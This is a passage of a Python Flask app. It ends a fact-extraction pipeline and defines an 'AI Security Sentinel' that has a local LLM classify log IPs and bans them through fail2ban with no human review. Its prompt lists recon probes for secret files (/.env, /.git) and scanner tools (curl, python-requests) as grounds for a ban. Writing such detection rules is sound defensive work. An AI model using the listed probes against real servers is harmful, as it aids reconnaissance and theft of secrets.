f"Verify these extracted facts. For each, mark CORRECT, INCORRECT, or UNVERIFIABLE.\n"
|
|
f"If incorrect, provide the correction.\n\n"
|
|
)
|
|
for i, f in enumerate(facts_sample):
|
|
fact_str = f if isinstance(f, str) else json.dumps(f)
|
|
verify_prompt += f"{i+1}. {fact_str}\n"
|
|
try:
|
|
verification = query_model(verifier, verify_prompt)
|
|
yield sse({"type": "response", "model": verifier, "text": verification, "role": "verifier"})
|
|
steps.append({"step": "verification", "model": verifier, "output": verification[:1000]})
|
|
except Exception as e:
|
|
verification = str(e)
|
|
yield sse({"type": "response", "model": verifier, "text": str(e), "role": "error"})
|
|
|
|
# Summary
|
|
summary = (
|
|
f"KNOWLEDGE EXTRACTION SUMMARY\n{'='*40}\n\n"
|
|
f"Source: {source}\n"
|
|
f"Facts extracted: {len(all_facts)}\n"
|
|
f"Entities found: {len(all_entities)}\n"
|
|
f"Relationships mapped: {len(all_relations)}\n\n"
|
|
f"TOP ENTITIES:\n"
|
|
)
|
|
for e in all_entities[:15]:
|
|
if isinstance(e, dict):
|
|
summary += f" [{e.get('type','?')}] {e.get('name','?')} — {e.get('description','')[:60]}\n"
|
|
summary += f"\nTOP RELATIONSHIPS:\n"
|
|
for r in all_relations[:15]:
|
|
if isinstance(r, dict):
|
|
summary += f" {r.get('from','?')} --[{r.get('type','?')}]--> {r.get('to','?')}\n"
|
|
|
|
yield sse({"type": "response", "model": "system", "text": summary, "role": "final"})
|
|
|
|
result_data = {
|
|
"facts": all_facts[:100],
|
|
"entities": all_entities[:50],
|
|
"relationships": all_relations[:50],
|
|
"verification": verification[:1000],
|
|
"source": source,
|
|
}
|
|
_save_pipeline("extract", prompt or source, steps, result_data, all_models, start)
|
|
|
|
|
|
# ─── AI SECURITY SENTINEL ─────────────────────────────────────
|
|
|
|
SENTINEL_LOG = "/var/log/llm-team-sentinel.log"
|
|
SENTINEL_MODEL = "qwen2.5:latest"
|
|
SENTINEL_INTERVAL = 300 # 5 minutes
|
|
_sentinel_last_pos = 0
|
|
_sentinel_results = [] # last 50 analyses
|
|
_sentinel_stats = {"scans": 0, "bans": 0, "last_run": None, "last_error": None, "next_scan_ts": 0}
|
|
|
|
def _sentinel_log_entry(msg):
|
|
"""Write to sentinel log file."""
|
|
try:
|
|
with open(SENTINEL_LOG, "a") as f:
|
|
f.write(f"{time.strftime('%Y-%m-%d %H:%M:%S')} {msg}\n")
|
|
except Exception:
|
|
pass
|
|
|
|
def _sentinel_scan():
|
|
"""Read new security log entries and analyze with local AI."""
|
|
global _sentinel_last_pos
|
|
import subprocess, collections
|
|
|
|
_sentinel_stats["last_run"] = time.strftime("%Y-%m-%d %H:%M:%S")
|
|
_sentinel_stats["last_run_ts"] = time.time()
|
|
_sentinel_stats["scans"] += 1
|
|
|
|
# Read new lines since last scan
|
|
try:
|
|
with open("/var/log/llm-team-security.log") as f:
|
|
f.seek(0, 2) # end of file
|
|
file_size = f.tell()
|
|
if _sentinel_last_pos > file_size:
|
|
_sentinel_last_pos = 0 # log rotated
|
|
f.seek(_sentinel_last_pos)
|
|
new_lines = f.readlines()
|
|
_sentinel_last_pos = f.tell()
|
|
except Exception as e:
|
|
_sentinel_stats["last_error"] = str(e)
|
|
return
|
|
|
|
if not new_lines:
|
|
_sentinel_log_entry("SCAN_COMPLETE new_lines=0 action=none")
|
|
return
|
|
|
|
# Aggregate by IP
|
|
ip_activity = collections.defaultdict(list)
|
|
for line in new_lines:
|
|
line = line.strip()
|
|
if not line:
|
|
continue
|
|
ip = None
|
|
for token in line.split():
|
|
if token.startswith("ip="):
|
|
ip = token[3:]
|
|
break
|
|
if ip and not ip.startswith("192.168."):
|
|
ip_activity[ip].append(line)
|
|
|
|
if not ip_activity:
|
|
_sentinel_log_entry(f"SCAN_COMPLETE new_lines={len(new_lines)} external_ips=0 action=none")
|
|
return
|
|
|
|
# Get currently banned IPs to skip
|
|
banned = set()
|
|
try:
|
|
for jail in ["llm-team-exploit", "llm-team-login"]:
|
|
result = subprocess.run(["fail2ban-client", "status", jail], capture_output=True, text=True, timeout=5)
|
|
for line in result.stdout.split("\n"):
|
|
if "Banned IP list" in line:
|
|
for ip in line.split(":", 1)[1].strip().split():
|
|
banned.add(ip.strip())
|
|
except Exception:
|
|
pass
|
|
|
|
# Build analysis prompt for the AI
|
|
analysis_items = []
|
|
for ip, lines in ip_activity.items():
|
|
if ip in banned:
|
|
continue
|
|
summary = f"IP {ip} ({len(lines)} events):\n"
|
|
for l in lines[:8]: # cap at 8 lines per IP
|
|
summary += f" {l}\n"
|
|
analysis_items.append((ip, summary, lines))
|
|
|
|
if not analysis_items:
|
|
_sentinel_log_entry(f"SCAN_COMPLETE new_lines={len(new_lines)} all_banned_or_lan action=none")
|
|
return
|
|
|
|
# Batch analysis prompt
|
|
prompt = (
|
|
"You are an aggressive cybersecurity sentinel protecting a PRIVATE production web application. "
|
|
"There is NO legitimate reason for unknown IPs to probe this server. "
|
|
"Analyze these log entries and classify each IP. Respond with ONLY a JSON array:\n"
|
|
'[{"ip": "x.x.x.x", "threat": "none|low|medium|high|critical", "action": "ignore|monitor|ban", '
|
|
'"reason": "brief reason", "attack_type": "scanner|bruteforce|exploit|bot|compromised_host|legitimate"}]\n\n'
|
|
"RULES (follow strictly — err on the side of banning):\n"
|
|
"- ANY probe for /.git, /.env, /wp-admin, /phpmyadmin, /xmlrpc.php, /admin.php, /config = BAN immediately\n"
|
|
"- ANY probe for .env.production, .env.local, .env.development = BAN — this is targeted recon\n"
|
|
"- Multiple different user agents from same IP = rotating scanner = BAN\n"
|
|
"- HeadlessChrome, curl, python-requests doing probing = automated scanner = BAN\n"
|
|
"- Failed logins >= 2 = BAN\n"
|
|
"- /robots.txt or /favicon.ico ALONE from a known bot UA = ignore\n"
|
|
"- Everything else = BAN if it looks automated, monitor if genuinely ambiguous\n"
|
|
"- When in doubt, BAN. This is a private server.\n\n"
|
|
"Log entries:\n\n"
|
|
)
|
|
for ip, summary, _ in analysis_items[:15]: # max 15 IPs per scan
|
|
prompt += summary + "\n"
|
|
|
|
# Query local AI
|
|
try:
|
|
cfg = load_config()
|
|
base = cfg["providers"]["ollama"].get("base_url", "http://localhost:11434")
|
|
resp = requests.post(f"{base}/api/generate", json={
|
|
"model": SENTINEL_MODEL, "prompt": prompt, "stream": False,
|
|
"options": {"num_ctx": 4096, "temperature": 0.1}
|
|
}, timeout=60)
|
|
resp.raise_for_status()
|
|
ai_response = resp.json()["response"]
|
|
except Exception as e:
|
|
_sentinel_stats["last_error"] = f"AI query failed: {e}"
|
|
_sentinel_log_entry(f"AI_ERROR error={e}")
|
|
return
|
|
|
|
# Parse AI response
|
|
try:
|
|
# Extract JSON from response (handle markdown code blocks)
|
|
text = ai_response.strip()
|
|
if "```" in text:
|
|
text = text.split("```")[1]
|
|
if text.startswith("json"):
|
|
text = text[4:]
|
|
# Find the JSON array
|
|
start_idx = text.find("[")
|
|
end_idx = text.rfind("]") + 1
|
|
if start_idx >= 0 and end_idx > start_idx:
|
|
text = text[start_idx:end_idx]
|
|
verdicts = json.loads(text)
|
|
except Exception as e:
|
|
_sentinel_stats["last_error"] = f"Parse failed: {e}"
|
|
_sentinel_log_entry(f"PARSE_ERROR response={ai_response[:200]}")
|
|
return
|
|
|
|
# Execute actions
|
|
ban_count = 0
|
|
for v in verdicts:
|
|
ip = v.get("ip", "")
|
|
action = v.get("action", "ignore")
|
|
threat = v.get("threat", "low")
|
|
reason = v.get("reason", "")
|
|
attack_type = v.get("attack_type", "unknown")
|
|
|
|
result_entry = {
|
|
"ip": ip, "threat": threat, "action": action,
|
|
"reason": reason, "attack_type": attack_type,
|
|
"time": time.strftime("%Y-%m-%d %H:%M:%S")
|
|
}
|
|
_sentinel_results.append(result_entry)
|
|
if len(_sentinel_results) > 50:
|
|
_sentinel_results.pop(0)
|
|
|
|
if action == "ban" and ip and not ip.startswith("192.168."):
|
|
try:
|
|
subprocess.run(["fail2ban-client", "set", "llm-team-exploit", "banip", ip],
|
|
capture_output=True, text=True, timeout=5)
|
|
ban_count += 1
|
|
sec_log.warning("AI_BAN ip=%s threat=%s reason=%s attack=%s", ip, threat, reason, attack_type)
|
|
_sentinel_log_entry(f"AI_BAN ip={ip} threat={threat} reason={reason} attack_type={attack_type}")
|
|
except Exception as e:
|
|
_sentinel_log_entry(f"BAN_FAILED ip={ip} error={e}")
|
|
else:
|
|
_sentinel_log_entry(f"AI_VERDICT ip={ip} threat={threat} action={action} reason={reason} attack_type={attack_type}")
|
|
|
|
_sentinel_stats["bans"] += ban_count
|
|
_sentinel_log_entry(f"SCAN_COMPLETE new_lines={len(new_lines)} ips_analyzed={len(analysis_items)} verdicts={len(verdicts)} bans={ban_count}")
|
|
|
|
|
|
def _sentinel_loop():
|
|
"""Background loop running every SENTINEL_INTERVAL seconds."""
|
|
global _sentinel_last_pos
|
|
# Start from end of file (only analyze new entries)
|
|
try:
|
|
with open("/var/log/llm-team-security.log") as f:
|
|
f.seek(0, 2)
|
|
_sentinel_last_pos = f.tell()
|
|
except Exception:
|
|
pass
|
|
|
|
_sentinel_log_entry("SENTINEL_START model=" + SENTINEL_MODEL + " interval=" + str(SENTINEL_INTERVAL) + "s")
|
|
while True:
|
|
_sentinel_stats["next_scan_ts"] = time.time() + SENTINEL_INTERVAL
|
|
time.sleep(SENTINEL_INTERVAL)
|
|
try:
|
|
_sentinel_scan()
|
|
except Exception as e:
|
|
_sentinel_stats["last_error"] = str(e)
|
|
_sentinel_log_entry(f"SENTINEL_ERROR {e}")
|
|
|
|
|
|
# API for sentinel status
|
|
@app.route("/api/admin/sentinel")
|
|
@admin_required
|
|
def admin_sentinel_status():
|
|
now = time.time()
|
|
next_ts = _sentinel_stats.get("next_scan_ts", 0)
|
|
next_in = max(0, next_ts - now)
|
|
return jsonify({
|
|
"stats": _sentinel_stats,
|
|
"recent_verdicts": list(reversed(_sentinel_results[-20:])),
|
|
"model": SENTINEL_MODEL,
|
|
"interval": SENTINEL_INTERVAL,
|
|
"next_scan_in": round(next_in, 1),
|
|
"server_time": round(now, 1)
|
|
})
|
|
|
|
|
|
# Start sentinel thread
|
|
_sentinel_thread = threading.Thread(target=_sentinel_loop, daemon=True)
|
|
_sentinel_thread.start()
|
|
|
|
|
|
if __name__ == "__main__":
|
|
print("\n LLM Team UI running at http://localhost:5000\n")
|
|
print(f" AI Sentinel active: {SENTINEL_MODEL} scanning every {SENTINEL_INTERVAL}s\n")
|
|
app.run(host="127.0.0.1", port=5000, debug=False, threaded=True)
|